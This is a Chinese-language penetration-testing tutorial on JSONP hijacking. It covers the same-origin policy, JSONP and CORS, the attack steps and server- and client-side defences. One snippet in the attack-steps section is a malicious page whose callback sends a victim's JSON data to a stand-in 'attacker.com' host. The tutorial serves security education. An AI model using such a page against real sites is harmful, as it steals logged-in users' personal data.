渗透测试之JSONP劫持原理
字数 1689 2025-08-10 16:34:28
JSONP劫持原理与防御详解
同源策略基础
同源策略定义
同源策略(Same-Origin Policy)是浏览器的核心安全机制,它限制来自不同源的文档或脚本如何相互交互。具体表现为:
- 限制范围:不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源
- 隔离作用:用于隔离潜在恶意文件的重要安全机制
同源判定标准
判断两个URL是否同源,需比较三个要素:
- 协议(如http/https)
- 域名(包括子域名)
- 端口号
示例分析:
| URL | 比较基准 | 结果 | 原因 |
|---|---|---|---|
| http://a.xyz.com/test/other111.html | http://a.xyz.com/test/page.html | 同源 | 完全相同 |
| https://a.xyz.com/secure.html | http://a.xyz.com/page.html | 不同源 | 协议不同(http/https) |
| http://a.xyz.com:81/dir/etc.html | http://a.xyz.com/dir/page.html | 不同源 | 端口不同(81/80) |
| http://a.opq.com/dir/other.html | http://a.xyz.com/dir/page.html | 不同源 | 域名不同 |
不受同源策略限制的场景
- 页面链接(如
<a>标签) - 重定向操作
- 表单提交
- 跨域资源引入:
<script src="...">- ``
<link href="..."><iframe src="...">
跨域解决方案
1. JSONP跨域
基本原理
JSONP(JSON with Padding)利用<script>标签不受同源策略限制的特性实现跨域:
- 客户端定义回调函数
- 动态创建
<script>标签,src指向目标URL并包含回调函数名 - 服务器返回用该回调函数包裹的JSON数据
示例代码:
// 客户端定义回调函数
function handleResponse(data) {
console.log('Received data:', data);
}
// 创建script标签
const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleResponse';
document.body.appendChild(script);
服务器响应:
handleResponse({"username":"admin","email":"admin@example.com"});
安全风险
- CSRF风险:自动发送用户凭据
- 敏感数据泄露:攻击者可构造恶意页面获取用户数据
2. CORS跨域
CORS(Cross-Origin Resource Sharing)是现代浏览器支持的官方跨域方案:
- 服务器通过设置
Access-Control-Allow-Origin等响应头声明允许的源 - 复杂请求会先发送OPTIONS预检请求
JSONP劫持详解
攻击原理
- 发现存在JSONP接口的网站
- 构造恶意页面诱导用户访问
- 用户浏览器自动执行JSONP请求并泄露数据
攻击步骤
-
识别漏洞:找到返回敏感数据的JSONP端点
- 常见参数名:
callback、jsonp、cb等 - 响应内容为JavaScript而非纯JSON
- 常见参数名:
-
构造攻击页面:
<script>
function maliciousCallback(data) {
// 将窃取的数据发送到攻击者服务器
new Image().src = 'http://attacker.com/steal?data=' + JSON.stringify(data);
}
</script>
<script src="https://victim.com/api/userinfo?callback=maliciousCallback"></script>
- 诱导受害者访问:通过社交工程等方式传播恶意链接
实际案例
- 某社交平台用户信息泄露:通过JSONP接口可获取用户姓名、邮箱等敏感信息
- 电商网站订单数据泄露:未授权访问返回用户历史订单数据
防御措施
1. 服务端防御
- 禁用JSONP:改用CORS实现跨域
- 验证Referer:检查请求来源是否合法
- 添加Token:要求携带CSRF Token
- 限制回调函数名:只允许预定义的安全名称
- 内容类型检查:设置正确的
Content-Type头
2. 客户端防御
- 避免敏感数据通过JSONP传输:关键操作使用CORS
- 设置HttpOnly和Secure标志:保护Cookie安全
- 实施CSRF防护:添加随机Token
3. 其他建议
- 敏感操作二次验证:如短信/邮箱验证
- 日志监控:异常请求告警
- 定期安全测试:包括JSONP接口审计
总结
JSONP劫持是一种利用浏览器同源策略例外特性的攻击方式,防御需要综合服务端和客户端措施。现代Web开发中,建议优先使用CORS替代JSONP实现跨域需求,从根本上消除此类安全隐患。